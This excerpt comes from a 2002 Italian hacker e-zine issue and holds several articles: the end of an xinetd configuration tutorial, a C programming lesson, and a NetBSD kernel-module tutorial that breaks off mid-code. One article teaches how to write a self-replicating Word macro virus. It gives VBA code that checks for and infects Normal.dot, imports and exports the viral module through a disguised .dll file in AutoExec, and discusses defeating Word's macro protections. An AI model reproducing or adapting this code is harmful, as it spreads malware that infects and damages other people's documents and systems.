| 1 - decide in che modo salvare le informazioni. Può essere un file o |
| decidere di farli gestire a syslog io,personalmente,preferisco salvari |
| in un file ASCII perchè molto più veloce e semplice da configurare (se |
| però preferite syslog basta un $man xinetd.conf ). Per impostare |
| questo file si usa la sintassi : |
| |
| log_type = FILE nomefile |
| |
| se il file non esiste viene creato automaticamente da xinetd. E' anche |
| possibile scegliere una dimensione massima del file,ma lo ritengo |
| sconveniente e poco pratico. |
| |
| 2 - decidi cosa loggare in caso di avvenuta connessione. Le opzioni |
| possibili sono : |
| |
| 2.1 - ID (logga l'id del server) |
| 2.2 - HOST (heheh..l'host remoto di provenienza) |
| 2.3 - USERID logga l'id dell'utente collegato |
| 2.4 - DURATION (la durata della connessione) |
| |
| la sintassi è ad esempio log_on_succes = HOST |
| |
| |
| 3 - le regole sono simili a log_on_succes(cambia qualche valore ) ma |
| questa volta vengono applicate ad una fallita connessione(utile per |
| vedere chi compie manovre *strane*), le opzioni sono : |
| |
| 3.1 - HOST (come sopra :) |
| 3.2 - USERID (come sopra) |
| 3.3 - ATTEMPT (indica il motivo per cui non è stato possibile |
| connettersi) |
| |
| |
| IN questo modo sarà possibile,per esempio,loggare l'ip di un lamero |
| che ha provato a connettersi ad una porta di un trojan, se magari era |
| abbastanza furbo,nascondendosi dietro ad un proxy avete guadagnato un |
| punto di bounce :) |
| |
| i log sono simili a questo : |
| |
| |
| 02/5/18@17:59:34: START: hello pid=1119 from=127.0.0.1 |
| 02/5/18@17:59:56: START: hello pid=1122 from=127.0.0.1 |
| |
| ||||||| |||||||| ||||| |||| |||||||| ||||||||||||| |
| DATA ORA azione nome process id provenienza |
| |
| |
| chiu facile r(a) accussì :)) |
| |
| |
| 5 - OPERATORI D'ASSEGNAZIONE |
| |
| Fino ad adesso abbiamo preso in considerazione solo l'operatore |
| d'assegnazione = , ma xinetd accetta anche += e -= che rappresentano |
| rispettivamente l'operatore di maggioranza e di minoranza. Il primo fa |
| si che tutti i valori al di sopra di quello scritto(escluso) siano |
| effettivi. Mentre il secondo prende in considerazione tutti i valori |
| al di sotto di quello dato(escluso). Difficile da dire ma molto |
| semplice da capire. ad esempio |
| |
| |
| |
| instances -= 10 (la decima persona non riuscirà a connettersi) |
| |
| |
| per avere una lista completa di quali attirbuti supportano tutti gli |
| operatori. dare un occhiata alla man page di xinetd.conf |
| |
| |
| 6 - USO FILE ESTERNI |
| |
| |
| mettiamo il caso che siamo molto generosi ed abbiamo diversi server in |
| listening. il file xinetd.conf diventerebbe molto grande e difficile |
| da maneggiare, ogni piccola modifica vorrebbe dire andare alla ricerca |
| della giusta funzione del determinato server e applicare le modifiche. |
| |
| Allora perchè non creare piccoli file esterni con le diverse funzioni |
| da mettere in /etc/xinetd.d ? |
| |
| tutto questo si può fare a patto di rispettare alcune piccole regole: |
| |
| 1- deve essere presente nel file xinetd.conf la riga includedir |
| /etc/xinetd.d/ |
| 2 - il nome del file deve essere lo stesso dell'etichetta definita |
| dopo service |
| |
| proviamo allora a spostare la dicitura del server hello in modo da |
| avere un piccolo file ASCII in /etc/xinetd.d/ |
| |
| [cili0@localhost cili0]$ cat /etc/xinetd.conf |
| # |
| # Simple configuration file for xinetd |
| # |
| # Some defaults, and include /etc/xinetd.d/ |
| |
| defaults |
| { |
| instances = 60 |
| log_type = SYSLOG authpriv |
| log_on_success = HOST PID |
| log_on_failure = HOST |
| cps = 25 30 |
| } |
| |
| includedir /etc/xinetd.d |
| |
| service hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| } |
| [cili0@localhost cili0]$ su |
| Password: |
| [root@localhost cili0]# vi /etc/xinetd.conf |
| |
| cancello la parte riguardante ad hello e la copio nel file |
| /etc/xinetd.d/hello |
| |
| [root@localhost xinetd.d]# vi hello |
| [root@localhost xinetd.d]# cat hello |
| ervice hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| } |
| [root@localhost xinetd.d]# |
| |
| |
| adesso devo far ripartire xinetd |
| |
| |
| [root@localhost xinetd.d]# ps -ax | grep xinetd |
| 1475 ? S 0:00 xinetd |
| 1491 pts/2 S 0:00 grep xinetd |
| [root@localhost xinetd.d]# kill -12 1475 |
| [root@localhost xinetd.d]# telnet 127.0.0.1 615 |
| Trying 127.0.0.1... |
| Connected to 127.0.0.1. |
| Escape character is '"]'. |
| Hello World! |
| Connection closed by foreign host. |
| [root@localhost xinetd.d]# |
| |
| |
| Ottimo direi :))) |
| |
| |
| 7 - USO CON SERVER STANDARD |
| |
| fino ad adesso ci siamo occupati dell'uso di xinetd comparato a |
| serverini realizzati da noi(il bash script hello.sh ) ma come si |
| comporta xinetd quando installiamo server "
seri" ? proviamo ad esempio |
| a rendere operativo un telnet-server. Avendo io una rh posso usufruire |
| degli rpm (ed è quello che farò :) |
| |
| |
| |
| [root@localhost xinetd.d]# cd /mnt/cdrom |
| [root@localhost cdrom]# ls |
| autorun images README.fr RedHat RELEASE-NOTES.fr RPM-GPG-KEY |
| boot.cat README README.it RELEASE-NOTES RELEASE-NOTES.it TRANS.TBL |
| COPYING README.de README.ja RELEASE-NOTES.de RELEASE-NOTES.ja |
| dosutils README.es README.ko RELEASE-NOTES.es RELEASE-NOTES.ko |
| [root@localhost cdrom]# cd RedHat |
| [root@localhost RedHat]# cd RPMS |
| [root@localhost RPMS]# ls tel* |
| telnet-0.17-20.i386.rpm telnet-server-0.17-20.i386.rpm |
| [root@localhost RPMS]# rpm -ivh telnet-server-0.17-20.i386.rpm |
| Preparing... ########################### [100%] |
| 1:telnet-server ########################### [100%] |
| [root@localhost RPMS]# rpm -ql telnet-server | grep xinetd |
| /etc/xinetd.d/telnet |
| [root@localhost RPMS]# |
| |
| come possiamo vedere telnet, come tutti gli altri server, si limita ad |
| aggiungere un file in /etc/xinetd.d/ editiamo il file /etc/hosts.allow |
| e aggiungiamo : |
| |
| in.telnetd:127.0.0.1 |
| |
| killiamo il server e proviamo a connetterci : |
| |
| |
| [root@localhost xinetd.d]# telnet 127.0.0.1 23 |
| Trying 127.0.0.1... |
| telnet: connect to address 127.0.0.1: Connection refused |
| |
| Come mai questo messaggio d'errore ? |
| se andiamo a vedere il file /etc/xinetd.d/telnet noteremo che... |
| |
| [root@localhost xinetd.d]# cat telnet |
| # default: on |
| # description: The telnet server serves telnet sessions; it uses \ |
| # unencrypted username/password pairs for authentication. |
| service telnet |
| { |
| flags = REUSE |
| socket_type = stream |
| wait = no |
| user = root |
| server = /usr/sbin/in.telnetd |
| log_on_failure += USERID |
| disable = yes |
| } |
| |
| |
| come si nota c'è l'opzione disable attivata (yes) questo vuol dire che |
| per dafault il server è disabiliato e quindi non utilizzabile , |
| editando il file e sostituendo a "
yes" un "no" succede che : |
| |
| |
| [root@localhost xinetd.d]# vi telnet |
| # default: on |
| # description: The telnet server serves telnet sessions; it uses \ |
| # unencrypted username/password pairs for authentication. |
| service telnet |
| { |
| flags = REUSE |
| socket_type = stream |
| wait = no |
| user = root |
| server = /usr/sbin/in.telnetd |
| log_on_failure += USERID |
| disable = no |
| } |
| |
| [root@localhost xinetd.d]# ps -ax | grep xinetd |
| 799 ? SW 0:00 xinetd -stayalive -reuse -pidfile |
| /var/run/xinetd.pid |
| 1569 pts/1 S 0:00 grep xinetd |
| [root@localhost xinetd.d]# kill -12 799 |
| [root@localhost xinetd.d]# telnet 127.0.0.1 |
| Trying 127.0.0.1... |
| Connected to 127.0.0.1. |
| Escape character is '"
]'. |
| Red Hat Linux release 7.2 (Enigma) |
| Kernel 2.4.7-10 on an i586 |
| login: cili0 |
| Password: |
| Last login: Sat May 18 10:43:51 on :0 |
| [cili0@localhost cili0]$ |
| |
| |
| ecco fatto funziona :))) |
| così come telnetd molti (se non tutti..) i demoni utilizzano questo |
| sistema per farsi riconoscere da xinetd, non è perciò salutare |
| bestemmiare una ventina di volte perchè la connessione non avviene con |
| successo ed accorgersi poi che era solo abilitata la funzione di |
| disable :) (ve lo dico per esperienza personale :) |
| |
| |
| 8 - CONCLUSIONE |
| |
| A qualcuno questo articolo potrà esser sembrato scazzante, ma in |
| questi casi mi piace ricordare una frase di colui,che in fondo, ci ha |
| donato la libertà informatica : |
| |
| |
| |
| [cili0@localhost cili0]$ cat linus_frase.txt |
| |
| if your videorecorder is still blinking 0:00, Linux isn't for you |
| (Linus Benedict Torvalds) |
| |
| [cili0@localhost cili0]$ |
| |
| buon proseguimento :) |
| |
| CiLi0 |
| |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| PLUS [Mastro] 0x0C/0x19 |
+--------------------------------------------------------------------------+
| Gli articoli apparsi sull'e-zine (dal num. 2 al num. 4) erano |
| materiale utile soprattutto per i neofiti del caso, ma sono vecchi e |
| imprecisi. Avevo anche intenzione di continuarne l'aggiornamento, ma |
| tra una cosa ed un'altra, ho smesso. Rileggendoli mi sono anche |
| accorto di aver tralasciato parti fondamentali sulla diffusione e |
| replicazione del codice, modificare file, ecc.. |
| |
| --- DIFFONDIAMOCI --- |
| |
| Vi è mai capitato di dare un'occhiata al codice di un virus per |
| Word95? |
| A me sì, ed ho notato il comando MacroCopy. |
| Ovviamente serve per copiare macro da documento attivo a Normal. |
| Non so se ne ho già parlato, comunque Normal è il modello sul quale si |
| basa Word, quindi le macro presenti nello stesso non vengono |
| considerate dannose. Basti pensare che ad ogni comando che diamo a |
| Word corrisponde una macro già presente in Normal. Infatti se andate |
| in Word, premete ALT+F8, e in basso nel menù scegliete "Comandi di |
| Word"
, otterrete la lista di azioni che abitualmente eseguite. |
| Mettiamo il caso che qualcuno voglia modificare il comando FileSalva. |
| Come potete notare il bottone "Modifica" non è abilitato, ma basta |
| selezionare la macro da modificare (FileSalva in questo caso) e sempre |
| nel menù in fondo ("Macro in") scegliere Normal.dot e cliccare su |
| "Crea". |
| A questo punto avete creato una macro FileSalva in Normal, che verrà |
| considerata la REALE FileSalva, quindi eseguita ogni volta che |
| l'utente salva il documento. |
| Volete una conferma? |
| Nel campo della macro clonata scrivete |
| |
| MsgBox "Oggi non salvo, faccio sciopero." |
| |
| Fatto questo tornate in Word e salvate il documento (se ci riuscite). |
| Per ripristinare tutto basta cancellare la FileSalva fasulla. |
| Tornando alla diffusione il comando MacroCopy appartiene alla |
| categoria di quelli di WordBasic, antecedente a VisualBasic e quindi |
| non considerato valido. |
| Forse l'unico modo per farlo funzionare sarebbe anteporre "WordBasic." |
| al comando, quindi in questo caso sarebbe "Wordbasic.MacroCopy". |
| Fortunatamente possiamo anche scartare WordBasic, e passare a |
| VisualBasic. |
| Lo stesso comando viene tradotto in "OrganizerCopy", quindi |
| |
| Application.OrganizerCopy(Source, Destination, Name, Object) |
| |
| Source => Nome e percorso del documento che contiene la macro |
| Destination => Documento in cui copiare la macro |
| Name => Nome della macro |
| Object => Con OrganizerCopy è possibile copiare stili e commandbars, |
| oltre che macro. Nel caso che noi volessimo copiare una macro |
| bisognerebbe selezionare "wdOrganizerObjectProjectItems". |
| |
| Purtroppo anche questo comando ha un bug: deve avere un file |
| "contenitore" per la macro. |
| Quindi propongo di passare oltre. |
| Ecco i comandi migliori: Export e Import. |
| Il percorso è |
| |
| NormalTemplate/ActiveDocument.VBProject.VBComponents("Nome del |
| modello"
).Export "Percorso in cui salvarlo" |
| e |
| NormalTemplate/ActiveDocument.VBProject.VBComponents.Import "Percorso |
| del modello."
|
| |
| In pratica si salva il modello contenente le macro come file |
| "consultatore", che verrà poi inserito nel documento attivo o in |
| Normal. |
| Avete notato "NormalTemplate/ActiveDocument"? |
| Se bisogna importare/esportare il modello da documento attivo basta |
| lasciare ActiveDocument, altrimenti Normal. |
| Potete salvare il modello come qualsiasi file, da modello.dll a |
| modello.exe, fate voi. |
| Mettiamo il caso di voler creare una macro che si copi da documento a |
| Normal e viceversa. |
| Facile, ma aprendo per più volte il documento in Normal ci saranno più |
| modelli, il che non è un problema, ma non ha stile.. |
| Come fare? |
| |
| Contami = NormalTemplate.VBProject.VBComponents.Count |
| --->Conta i moduli in Normal |
| For Nome = 1 To Contami |
| Cerca = NormalTemplate.VBProject.VBComponents(Nome).Name |
| --->Restituisce il nome del modello |
| If Cerca = "Main" Then |
| --->Verifica se è uguale a "Main" |
| Esiste = 1 |
| End If |
| Next |
| If Esiste <> 1 Then |
| --->Se è diverso da 1 |
| NormalTemplate.VBProject.VBComponents.Import "C:\Windows\Fucka.dll" |
| --->Importa il modello |
| End If |
| |
| Questo codice verifica se Normal è già infettato, cercando nello |
| stesso un modello di nome Main, se non esiste lo importa. |
| Per copiarsi da Normal a documento il procedimento è lo stesso, basta |
| sostituire "ActiveDocument" a "NormalTemplate". |
| Adesso anche aprendo più volte il documento infetto Normal verrà |
| infettato solo una volta. |
| Per il salvataggio del modulo non ci sono problemi: |
| |
| Sub AutoExec() |
| ActiveDocument.VBProject.VBComponents("Main").Export |
| "C:\Windows\Fucka.dll" |
| 'Non c'è bisogno di farlo anche da Normal, ma se volete proprio essere |
| sicuri |
| NormalTemplate.VBProject.VBComponents("Main").Export |
| "C:\Windows\Fucka.dll" |
| End Sub |
| |
| Abbiamo creato un virus replicante. |
| Non so se lo avete notato, Word2000 disabilita subito le macro |
| automatiche, e non basta più |
| Options.VirusProtections = False |
| per risistemare le cose. |
| I livelli di protezione vengono "salvati" in una chiave del registro |
| di configurazione, che può essere modificata ma non da codice. |
| Mi è stato detto però che Access abilita le macro AutoExec, a patto |
| che AllowByPassKey sia impostato su True. |
| (Thanx to Xpyto) |
| |
| Un ultima cosa: |
| |
| 'da Word |
| Sendkeys """ & "%" & "-" |
| 'Ma che ha il cursore? |
| |
| Mastro(macro2000@virgilio.it) |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| C0RS0 Di C [PARTE SESTA] [AndreaGeddon] 0x0D/0x19 |
+--------------------------------------------------------------------------+
| L'ultima volta abbiamo trattato array e funzioni, in questa parte |
| trattiamo gli array multidimensionali, le strutture e le operazioni con |
| i file. Andiamo per ordine, riprendiamo il discorso degli array. Abbiamo |
| visto che un array è una cosa del tipo: |
| |
| int dati[10]; |
| |
| cioè un blocco di memoria che contiene lo spazio per 10 variabili ti tip |
| int. Ora se estendiamo il discorso potremmo voler usare degli array di |
| array, ovvero avere dei blocchi "
matriciali" di dati. Sembra difficile |
| in realtà è semplice: mettiamo il caso che vogliamo gestire le |
| informazioni di una schacchiera, ci servirà una matrice 8 x 8, usando |
| gli array possiamo definirla così: |
| |
| int scacchiera[8][8]; |
| |
| et voilà, abbiamo la nostra matrice di interi. Per accedere agli element |
| ci basterà usare la notazione come per gli array normali: |
| |
| int a = scacchiera[2][3]; |
| |
| se consideriamo il primo blocco come ascissa e il secondo come ordinata |
| con la precedente riga stiamo considerando l'elemento che si trova alle |
| coordinate x = 3 e y = 4 (ricordate che gli array si numerano da 0 ad |
| n-1!). Allo stesso modo potete estendere gli array a multidimensionali, |
| cioè del tipo: |
| |
| int dati[5][5][5]; |
| |
| o quante altre dimensioni volete aggiungere. Ricordate che questi array |
| sono abbastanza pesanti da gestire, di solito è preferibile usare |
| strutture dati dinamiche, comunque dipende sempre dai casi, a voi la |
| scelta! Okey ora che abbiamo spiegato gli array multidimensionali |
| passiamo alle strutture. |
| Le strutture sono dei costrutti che permettono di usare più tipi di dato |
| contemporaneamente. Le strutture si dichiarano usando la parola chiave |
| "
struct" nel modo seguente: |
| |
| struct nomestruttura |
| { |
| tipo membro1; |
| tipo membro2; |
| ... |
| tipo membron; |
| } istanza1, istanza2; |
| |
| la struttura può contenere un numero arbitrario di membri, ogni membro |
| può essere di un qualsiasi tipo. Ad esempio se volessimo usare una |
| struttura per rappresentare le informazioni di una persona potremmo |
| definirla così: |
| |
| struct persona |
| { |
| char nome[20]; |
| char cognome[20]; |
| int eta; |
| }persona2; |
| |
| per accedere ai membri di una struttura possiamo usare due operatori, il |
| "
." e il "->". Se dichiaramo una struttura come fatto nell'esempio qui |
| sopra allora per riferirci ai membri usiamo: |
| |
| int a = persona2.eta; |
| char b = persona2.nome[5]; |
| |
| etc etc. Notate che "
persona" in se e per se è solo un TIPO, per cui per |
| usare la struttura abbiamo dovuto istanziarla con "
persona2". Avendo |
| cmq il tipo di struttura possiamo dichiarare una istanza anche |
| semplicemente come si fa con le variabili: |
| |
| persona persona3; |
| |
| in questo caso ho dichiarato una variabile di tipo struttura "
persona" e |
| l'ho chiamata persona3, poi posso trattarla come ho fatto per persona2. |
| L'altro operatore invece, il "
->", lo usiamo quando non dichiariamo una |
| struttura direttamente ma dichiariamo un puntatore. Ad esempio, sempre |
| prendendo la struttura "
persona" sopra definita potremmo avere un codice |
| di questo tipo: |
| |
| persona *persona2; |
| persona2 = (persona*)malloc(sizeof(persona)); |
| persona2->eta = 55; |
| |
| così abbiamo dichiarato un puntatore a struttura persona. Ovviamente il |
| puntatore è solo un puntatore, per cui se vogliamo associarlo ad una |
| struttura dobbiamo prima allocargli la memoria, ecco perchè quindi segue |
| una malloc. La funzione "
malloc" è così definita: |
| |
| void *malloc( size_t size ); |
| |
| e serve ad allocare una zona di memoria di grandezza specificata dal |
| parametro "
size", e restituisce un puntatore a tale blocco allocato. |
| per cui nel frammento di programma di prima abbiamo usato la malloc |
| passandogli il size della struttura persona, size restituito dallo |
| operatore sizeof(). A questo punto il puntatore "
persona2" punta ad un |
| blocco di memoria valido che contiene la struttura di tipo "
persona". |
| essendo la struttura riferita da un puntatore useremo quindi il -> per |
| accedere ai membri, come fatto nella riga: |
| |
| persona2->eta = 55; |
| |
| dimendticavo, quando abbiamo mallocato il blocco di memoria avete notato |
| il "
(persona*)" davanti alla malloc. La malloc infatti restituisce un |
| void*, per cui ci sarebbero stati problemi di type matching. Ecco quindi |
| che il C ci permette di utilizzare il casting. Il casting non è altro ch |
| un operatore che ci permette di interpretare una variabile secondo un |
| altro significato. Ad esempio: |
| |
| long a; |
| void* b = 0; |
| a = (long)b; |
| |
| se avessimo fatto direttamente a = b il compilatore avrebbe dato un |
| errore in quanto non può assegnare una variabile di tipo "
void*" a una |
| di tipo "
long", mettendo il (long) davanti a "b" invece gli abbiamo dett |
| di interpretare b come un long e non come un void*, a questo punto il |
| compilatore si trova ad assegnare un long ad un long e non vi darà più |
| problemi. Attenti però che dovete preservare il size delle variabili, ad |
| esempio se volete assegnare ad un char un valore long avreste una |
| probabile perdita di dati (a meno che il long in quel momento non |
| contenga un valore compreso nel range di un char!). |
| Fatto ciò, si passa a parlare di un'altra cosa utile, l'i/o su file. |
| Premetto che stiamo parlando di funzioni ANSI, il discorso è valido sia |
| per windows che per linux o per qualsiasi altro sistema che supporti |
| l'ansi, poi l'apertura di file tramite queste funzioni ansi può essere |
| tradotta in un'altra funzione, ma questo poco importa per ora. Le |
| operazioni principali che servono su un file sono creazione, lettura e |
| scrittura, per tali operazioni abbiamo a disposizione le funzioni fopen, |
| fread e fwrite. fopen non serve solo ad aprire un file, ma anche per |
| crearlo nel caso che il file non esista. Vediamo un piccolo esempio di |
| codice: |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| |
| int main() |
| { |
| FILE *myfile; |
| size_t size, size2; |
| char *buffer; |
| |
| myfile = fopen("
myfile.txt", "a+"); |
| |
| fseek(myfile, 0, SEEK_END); |
| size = (size_t)ftell(myfile); |
| fseek(myfile, 0, SEEK_SET); |
| |
| buffer = (char*)malloc((2*size)+1); |
| size = fread(buffer, sizeof(char), size, myfile); |
| buffer[size] = '\0'; |
| printf("
hai letto %d caratteri:\n%s\n", size, buffer); |
| |
| fseek(myfile, 0, SEEK_END); |
| size = fwrite(buffer, sizeof(char), size, myfile); |
| size = ftell(myfile); |
| fseek(myfile, 0, SEEK_SET); |
| fread(buffer, sizeof(char), size, myfile); |
| buffer[size] = '\0'; |
| printf("
ora ci sono %d caratteri:\n%s\n", size, buffer); |
| fclose(myfile); |
| return 0; |
| } |
| |
| questo programma apre il file c:\myfile.txt, legge il contenuto e lo |
| stampa su schermo, poi con fwrite gli attacca la stringa letta ed infine |
| mostra lo stato finale del file. In pratica raddoppia di volta in volta |
| la stringa letta. Partiamo dall'inizio: l'apertura del file; abbiamo |
| usato la funzione fopen, questa funzione prende come primo parametro il |
| nome del file (nel nostro caso myfile.txt, lo prende nella stessa dir |
| dove si trova il programma che state eseguendo) e come secondo parametro |
| il modo di apertura del file. I modi principali sono "
r", "w" e "a", r |
| sta per read, w sta per write e a per append. I primi due sono semplice |
| modalità lettura e scrittura, append invece apre il file senza eliminare |
| il suo contenuto. Il "
+" che segue questi valori significa che il file |
| viene aperto sia in lettura che scrittura. Nota che con r il file deve |
| esistere per poter essere aperto, con w se il file esiste il suo |
| contenuto viene cancellato. Ok, una volta aperto il file ci viene |
| restituito un puntatore ad una struttura di tipo FILE, questo puntatore |
| sarà l'identificativo del file che stiamo usando, per cui lo salviamo in |
| una nostra variabile. Dopo aver aperto il file ci apprestiamo a leggerlo |
| Per poterlo leggere ci serve un buffer che conterrà i dati letti, quindi |
| ce lo dobbiamo allocare! Per poterlo allocare però ci serve il size del |
| file, come lo otteniamo? Usando fseek e ftell. fseek serve per spostare |
| il file pointer a piacimento, e ftell serve per ottenere la posizione de |
| file pointer. Quello che facciamo è quindi usare fseek con parametro |
| SEEK_END che sposta il file pointer alla fine del file, chiamiamo ftell |
| che ci indica la posizione numerica dell'ultimo byte (l'ultimo byte |
| rappresenta la grandezza del file!), una volta letto l'ultimo byte usiam |
| di nuovo fseek ma stavolta con parametro SEEK_SET che serve a riportare |
| il file pointer all'inizio del file. Fatto ciò abbiamo il size del file, |
| per cui non ci resta che allocare lo spazio necessario con una malloc: |
| malloc((2*size)+1), alloco il doppio perchè successivamente leggerò la |
| stringa duplicata nel file, aggiungo 1 perchè è sempre avere qualche byt |
| in più per evitare sgradevoli overflow :-). Tadaa! Ora finalmente |
| possiamo leggere il file. Usiamo fread, con sizeof(char) gli indichiamo |
| il size degli item da leggere, e con size il numero degli item. Di solit |
| gli item sono bytes. Quindi gli passiamo il nostro buffer come parametro |
| che verrà riempito con la stringa letta. La funzione restituisce il |
| numero di caratteri letti, quindi stampiamo con printf sia il numero di |
| caratteri letti sia la stringa letta. A questo punto per appendere di |
| nuovo la stringa letta al file prima usiamo fseek come prima per spostar |
| il file pointer alla fine del file, quindi usiamo un fwrite in modo del |
| tutto simile a fread. Anche fwrite ritorna il numero di char scritti. A |
| questo punto prendiamo il size del nuovo file (dopo l'appending il file |
| pointer si trova alla fine del file), resettiamo il file pointer a zero, |
| rileggiamo il contenuto del file e stampiamo il tutto. Se usiamo come |
| input un file che contiene solo la stringa "
ab" l'output sarà: |
| |
| hai letto 2 caratteri: |
| ab |
| hai scritto 4 caratteri: |
| abab |
| |
| et voilà, anche l'uso dei file è semplicissimo. A questo punto sono stat |
| trattati i principali argomenti della programmazione in C e già dovreste |
| essere in grado di scrivere codice abbastanza complesso. Arrivati qui pe |
| proseguire bisogna spostare lo studio dal linguaggio al sistema operativ |
| su cui vi trovate a programmare. In effetti il linguaggio è solo uno |
| strumento con il quale voi utilizzate le caratteristiche del sistema |
| operativo, sia esso linux, windows o che altro. E' buona norma conoscere |
| bene anche l'architettura hardware su cui state lavorando, anzi direi ch |
| la conoscenza dell'hw e del sistema operativo sono fondamentali. Per il |
| prossimo capitolo non so cosa tratterò, comunque buono studio, ci vediam |
| nel prossimo numero! |
| |
| Bye! |
| AndreaGeddon |
| www.andreageddon.8m.com |
| www.quequero.cjb.net |
| andreageddon@hotmail.com |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| USELESS NETBSD M0DULE 2 [_beb0s_] 0x0E/0x19 |
+--------------------------------------------------------------------------+
| - --- -- - - -[ 'the syscalling' chiamata al kernel ]- - - -- --- |
| - --- -- - - - _ovvero il modulo inutile 2_ - - - -- --- |
| -[ beb0s at autistici dot org ]- |
| |
| [ prefazione ] |
| |
| benvenuti alla seconda puntata della saga 'il modulo inutile'. in questa |
| puntata spero di chiarire alcune cose che nella volta scorsa sembravano |
| un po' capitate li' per caso. inoltre finalmente ci addentriamo nelle |
| strutture del kernel aggiungendo una syscall. |
| |
| [ innanzi tutto ] |
| |
| salve! spulciando un'altro po' le sorgenti del kernel ho scoperto un |
| paio di cose interessanti riguardo le macro che abbiamo usato la volta |
| scorsa per scrivere il modulo : |
| |
| [ il modulo nudo e crudo ] |
| |
| allora MOD_MISC("
useless") si traduce in |
| |
| static struct lkm_misc _module = { |
| LM_MISC, |
| LKM_VERSION, |
| "
useless" |
| }; |
| |
| la stuttura lkm_misc e' definita sempre in sys/lkm.h ed e' cosi' |
| composta: |
| |
| struct lkm_misc { |
| MODTYPE lkm_type; /* tipo del modulo */ |
| int lkm_ver; /* versione del modulo |
| */
|
| char *lkm_name; /* nome */ |
| u_long lkm_offset; /* offset, puo' indicare lo slot nel |
| */
|
| /* quale abbiamo inserito la nostra |
| */
|
| /* syscall/device/vfs/ecc |
| */
|
| /* in realta' ci sono altre cose qui. esse sono utili in vari |
| */
|
| /* casi ma ora come ora le ignoreremo |
| */
|
| } |
| |
| poi ... ri-esaminiamo bene la macro DISPATCH: |
| |
| #define DISPATCH(lkmtp,cmd,ver,load,unload,stat) |
| if (ver != LKM_VERSION) |
| return EINVAL; /* version mismatch */ |
| switch (cmd) { |
| int error; |
| case LKM_E_LOAD:

  
|
| lkmtp->private.lkm_any = (struct lkm_any *)&_module; |
| /* """""""""""""""""""""""""""""""""""""""""""""""""""" |
| */
|
| /* questa riga, al caricamento del modulo inizializza |
| */
|
| /* la struttura lkmtp facendo puntare private alla |
| */
|
| /* alla nostra struttura _module |
| */
|
| /* bla bla */ |
| case LKM_E_UNLOAD: |
| /* bla bla */ |
| case LKM_E_STAT: |
| /* bla bla */ |
| } |
| return lkmdispatch(lkmtp, cmd); |
| /* """"""""""""""""""""""" |
| */ |
| /* e questa ?? lkmdispatch si trova in kern/kern_lkm.c e, |
| */ |
| /* udite udite, oltre a gestire i comandi di inserimento |
| e */ |
| /* rimozione del modulo, contiene anche tutto il codice |
| */ |
| /* necessario per l'inserimento delle nostre routine |
| */ |
| /* nelle strutture del kernel ( per quanto detto la volta |
| */ |
| /* scorsa cio' non si applica ai moduli tipo miscelaneous |
| */ |
| /* che devono fare tutto da soli ) |
| */ |
| |
| la struttura struct lkm_table lkmtp che viene passata alla funzione |
| entry del nostro modulo contiene lkmtp->private la quale e' un unione |
| delle strutture dei diversi tipi di moduli (lkm_syscall, lkm_vfs, |
| lkm_dev, |
| lkm_misc, ecc). questo permette a DISPATCH di funzionare per moduli di |
| qualunque tipo. (se non mi sono spiegato guardate sys/lkm.h e capirete |
| tutto :) |
| |
| quanto scoperto ci permette di scrivere una nuova versione del nostro |
| modulo evitando l'utilizzo delle macro e rendendo piu' trasparente il |
| funzionamento del modulo stesso. |
| |
| <-- cut here - start - [useless_module_3.c] - --> |
| #include <sys/param.h> |
| #include <sys/ioctl.h> |
| #include <sys/systm.h> |
| #include <sys/conf.h> |
| #include <sys/mount.h> |
| #include <sys/exec.h> |
| #include <sys/lkm.h> |
| #include <sys/file.h> |
| #include <sys/errno.h> |
| #include <sys/syscall.h> |
| |
| static struct lkm_misc _module = { |
| LM_MISC, |
| LKM_VERSION, |
| "
useless" |
| }; |
| |
| int useless_load(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| printf("
hello world!\n"); |
| printf("
i'm in the kernel now\n"); |
| return 0; |
| } |
| |
| int useless_unload(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| printf("
good bye kernel\n"); |
| printf("
i'm leaving now\n"); |
| return 0; |
| } |
| |
| useless_lkmentry(lkmtp, cmd, ver) |
| struct lkm_table *lkmtp; |
| int cmd; |
| int ver; |
| { |
| int error = 0; /* success = 0 */ |
| |
| if (ver != LKM_VERSION) |
| return EINVAL; |
| |
| switch (cmd) { |
| case LKM_E_LOAD: |
| lkmtp->private.lkm_misc = &_module; |
| error = useless_load(lkmtp, cmd); |
| break; |
| case LKM_E_UNLOAD: |
| error = useless_unload(lkmtp, cmd); |
| break; |
| } |
| return error; |
| } |
| <-- cut here - end - [useless_module_3.c] - --> |
| |
| ho volutamente tralasciato la gestione del comando LKM_E_STAT in quanto |
| non ci interessa. compilatelo come sempre e dovrebbe funzionare quanto |
| quello prima (in effetti abbiamo 'solo riscritto' e tolto un po' di |
| codice inutile). |
| |
| [ hard things ] |
| |
| dal momento in cui il nostro modulo viene caricato nel kernel esso ha |
| accesso a tutte le funzioni e le strutture dati in esso presenti. il |
| procedimento per creare un nuovo device (o una syscall o un fs) si basa |
| proprio su questo: tutto quello che dobbiamo fare e' aggiungerci alla |
| tabella dei device (o delle syscall o dei fs, ecc). per esempio proviamo |
| ad aggiungere una nuova syscall; la lista alla quale dobiamo aggiungerci |
| (quella che contiene la lista delle syscall) si chiama sysent ed e' |
| definita in kern/init_sysent.c. dobbiamo solamente interare su questa |
| lista fino a trovare uno slot libero (cioe' una syscall vuota) per poi |
| rimpiazzarlo con un puntatore alla nostra syscall. vediamo il codice. |
| |
| <-- cut here - start - [useless_module_4.c] - --> |
| #include <sys/param.h> |
| #include <sys/ioctl.h> |
| #include <sys/systm.h> |
| #include <sys/conf.h> |
| #include <sys/mount.h> |
| #include <sys/exec.h> |
| #include <sys/lkm.h> |
| #include <sys/file.h> |
| #include <sys/errno.h> |
| #include <sys/syscall.h> |
| |
| /* sys_lkmnosys rappresenta una syscall vuota, dato che questo simbolo |
